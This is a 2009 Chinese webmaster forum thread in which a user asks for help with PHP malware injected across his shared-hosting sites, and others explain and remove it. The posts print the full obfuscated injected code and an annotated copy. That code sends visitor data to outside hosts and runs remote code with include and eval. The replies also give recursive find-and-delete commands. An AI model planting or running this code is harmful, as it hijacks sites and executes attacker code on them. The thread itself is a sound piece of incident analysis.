網域名稱俱樂部


返回   網域名稱俱樂部 > 電腦與網路技術 > 電腦網路相關技術
論壇幫助 社區 日曆事件 今日新文章 搜尋

回覆
 
主題工具
  #1  
舊 2009-03-09, 08:01 AM
owntag 的頭像
owntag owntag 目前離線
進階會員
 
註冊日期: 2006-07-22
住址: 北京
文章: 1,840
警告 共享服务器下所有的网站都被注入恶意代码,请有经验的朋友帮忙回答一些问题。先谢过!

我最近发现我在一个共享服务器下的所有网站的所有根目录下,都出现了两个文件:一个.htaccess文件,一个随机数字文件名的.php文件。例如:

1. 121521.php,代码如下

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}

2. .htaccess 代码如下

Options -MultiViews
ErrorDocument 404 //rootdir/sales/0309/0309/121521.php

我搜索了一下google,发现从2006年就开始有很多帖子在谈论这个被注入恶意代码的问题。这些代码通常都是通过开源软体比如WP,PHPBB等注入的(看来随时升级真的很必要)。
通常共享服务器上的一个网站通过程序被注入后,这个服务器上所有的网站都会被传播注入。

这些代码都被加密了,decode后基本都是和xmldata.info或7.phpsearch.cn这类网站有关。这些网站都是一些关于网络流量的赚钱公司。我看到一些帖子里有提到这些恶意代码的含义是监控网站的404访问页面被访问情况。还有人提到这是利用搜索引擎来访问到这些文件,从而通过PPC获利(我也不了解究竟怎么样能够实现这个目的?)。这类网站上面描述的是:

引用:
What is this site?
This site helps webmasters to earn money with their sites.

How it works?
Our program generate traffic from search engines and display advertising.

What shell I do to start with you ?
Signup, get php file from member area, put file into your website directory, modify or create .htaccess in the same directory, and receive money !
我对php了解的不多,也看不懂这些代码的含义,所以想问问下面的几个问题,请有经验的版友帮忙解答一下。

1. 这些代码的用途是什么?

2. 被注入恶意代码的网站会受到什么程度的影响?比如:hacker会否获得我网站ftp,mysql甚至hosting的帐户信息?

3. 看起来在没有安全备份的情况下,没有什么办法可以轻松清除掉这些文件。那么在一个一个清除所有目录下的这些恶意文件之前,还需要做什么来防止它们重新生成?我看到一些讨论里写到注入文件的目录均为777具有写权限,只要把所有目录权限设置为755就可以解决了,也有人跟贴说确实设置为755就解决了。但我所有755权限的目录也都被注入了这两个文件...

4. 除了.htacess和数字.php文件外,是否还有其他文件被感染?比如根目录下的.htaccess文件内容,或其他php文件。

此外,我看到有些网站提到可以通过关闭register_globals来防止被注入这类恶意代码,但是我在根目录下的.htaccess中添加 php_flag register_globals 0 之后,网站就出现内部错误提示无法访问了。

问题比较多,sorry,请对此有了解的版友不吝赐教,谢谢。同时提醒一下版友们也都检查一下自己的网站是否有这个问题。

更新一下: 我有三个shared hosting,分属不同hosting公司的,刚全部检查了一下,其中两个服务商的服务器下所有的网站都发现了这个问题。
__________________
DomainName.com

此篇文章於 2009-03-09 08:38 AM 被 owntag 編輯。
回覆時引用此篇文章
  #2  
舊 2009-03-09, 08:43 AM
owntag 的頭像
owntag owntag 目前離線
進階會員
 
註冊日期: 2006-07-22
住址: 北京
文章: 1,840
預設

找到了一段别的网站对这些代码作的注释。

出处参考: http://webmasterhotspot.com/index.php?showtopic=7792

看起来被提到的那家hosing服务商帮用户做了整个server的清除这种恶意文件处理,方便了用户 ... 希望我的服务商也可以

PHP 代碼:
<?

error_reporting
(0); // Turns off error throwing

// Gathers tracking information

$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);

// encodes tracking information for usage in a URL

$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e)."
."
.base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);

// sets $f to 'phpsearch.cn'

$f=base64_decode("cGhwc2VhcmNoLmNu");

// I haven't been able to decode this MD5, but it replaces $f with
// any given URL when given an unknown password with this MD5 signature.

if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="face2bea501b7adcd7c09b627f443523")

$f=$_REQUEST["id"];

// It tries to use includes to call
// http://ads.phpsearch.cn/[tracking information]

if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));

// If the include didn't work,
// it tries to use file wrappers to call
// http://7.phpsearch.cn/[tracking information]

else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);

// If none of the the include and file wrappers work,
// it tries to use CURL to call
// http://71.phpsearch.cn/[tracking information]

else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};

// all these methods will execute the contents of the first successful request.
// currently, all this does is display a 404 page

?>
__________________
DomainName.com

此篇文章於 2009-03-09 08:45 AM 被 owntag 編輯。
回覆時引用此篇文章
  #3  
舊 2009-03-09, 01:02 PM
edenCC edenCC 目前離線
進階會員
 
註冊日期: 2008-06-16
住址: https://infras.cn
文章: 382
預設

引用:
作者: owntag 查看文章
1. 这些代码的用途是什么?

2. 被注入恶意代码的网站会受到什么程度的影响?比如:hacker会否获得我网站ftp,mysql甚至hosting的帐户信息?

3. 看起来在没有安全备份的情况下,没有什么办法可以轻松清除掉这些文件。那么在一个一个清除所有目录下的这些恶意文件之前,还需要做什么来防止它们重新生成?我看到一些讨论里写到注入文件的目录均为777具有写权限,只要把所有目录权限设置为755就可以解决了,也有人跟贴说确实设置为755就解决了。但我所有755权限的目录也都被注入了这两个文件...

4. 除了.htacess和数字.php文件外,是否还有其他文件被感染?比如根目录下的.htaccess文件内容,或其他php文件。

问题比较多,sorry,请对此有了解的版友不吝赐教,谢谢。同时提醒一下版友们也都检查一下自己的网站是否有这个问题。

更新一下: 我有三个shared hosting,分属不同hosting公司的,刚全部检查了一下,其中两个服务商的服务器下所有的网站都发现了这个问题。
回复:
1, 这些代码把网站上的 404错误 (即服务器上文件不存在时) 重定向到一个文件, 这个文件调用一个.ru网站上的php, URL 是 bdahbzzazbzgh . users . phpinclude . ru
主要目的像是吸引流量, 如果php中限制了对外域文件的调用, 这样的攻击就不会有效果了.

2, 这个样例中不会出现泄漏. 通过这种方法有泄漏Web环境密码的可能, 影响到web管理员和数据库的密码. 但可操作性难度非常高, 要看运气了.

3, 如果是通过web程序注入, 最好把ftp和httpd的帐号分开, web目录下的文件只开放ftp帐号的写权限(需要注意web服务器至少对 session 的目录, 用户上传的目录有写权限). 如果有 shell 帐号, 删除121151.php 和 .htaccess 这两个文件就可以了, 如果没有shell权限, 可以php实现这个功能.

4, 可以检查其他文件的修改时间是否和 .htaccess 这个文件一致, 或者看其他文件中是否存在特征字符串, 比如: LnVzZXJzLnBocGluY2x1ZGUucnU.

共享服务器还是比较不安全的, 如果一个网站出问题让别人拿到权限,就很容易做这样的破坏了.
__________________
Infrastructure for IT companies

此篇文章於 2009-03-09 03:18 PM 被 edenCC 編輯。 原因: fix typo
回覆時引用此篇文章
  #4  
舊 2009-03-09, 09:54 PM
owntag 的頭像
owntag owntag 目前離線
進階會員
 
註冊日期: 2006-07-22
住址: 北京
文章: 1,840
預設

edenCC兄, 感谢这么详细的回复.
看来要手动删除这些文件了. mini site太多,文件目录也太多,又要花费几个小时在这上面了,5555
不过看了你对2的回复,心里感觉安稳了很多,再次感谢!
__________________
DomainName.com
回覆時引用此篇文章
  #5  
舊 2009-03-10, 10:44 AM
edenCC edenCC 目前離線
進階會員
 
註冊日期: 2008-06-16
住址: https://infras.cn
文章: 382
預設

owntag 大大客气了, 承蒙您也多次指点过小弟~


如果确定个人目录下的 121521.php 和 .htaccess 这两个文件不需要的话,
在shell 帐号下执行这两个命令就可以了.

引用:
find /full-path/to/your-home-dir -type f -name .htaccess -exec rm -f {} \;
引用:
find /full-path/to/your-home-dir -type f -name 121521.php -exec rm -f {} \;
sf.net 上有个基于 php 的webshell: http://sourceforge.net/projects/phpshell
__________________
Infrastructure for IT companies
回覆時引用此篇文章
  #6  
舊 2009-03-11, 12:43 AM
owntag 的頭像
owntag owntag 目前離線
進階會員
 
註冊日期: 2006-07-22
住址: 北京
文章: 1,840
預設

比较郁闷的是,我hosting帐户下所有网站的所有目录,子目录下,都有这两个文件。
而且那个数字.php的数字都是随机数,所以必须一个一个文件手动删除。。。唉,只好边看电视剧边删除了。
__________________
DomainName.com
回覆時引用此篇文章
回覆


發文規則
不可以發表新主題
不可以發表回覆
不可以上傳附件
不可以編輯自己的文章

啟用 BB 代碼
論壇啟用 表情符號
論壇啟用 [IMG] 代碼
論壇禁用 HTML 代碼



所有時間均為 +8。現在的時間是 03:32 AM


本站主機由網易虛擬主機代管
Powered by vBulletin® 版本 3.8.4
版權所有 ©2000 - 2024,Jelsoft Enterprises Ltd.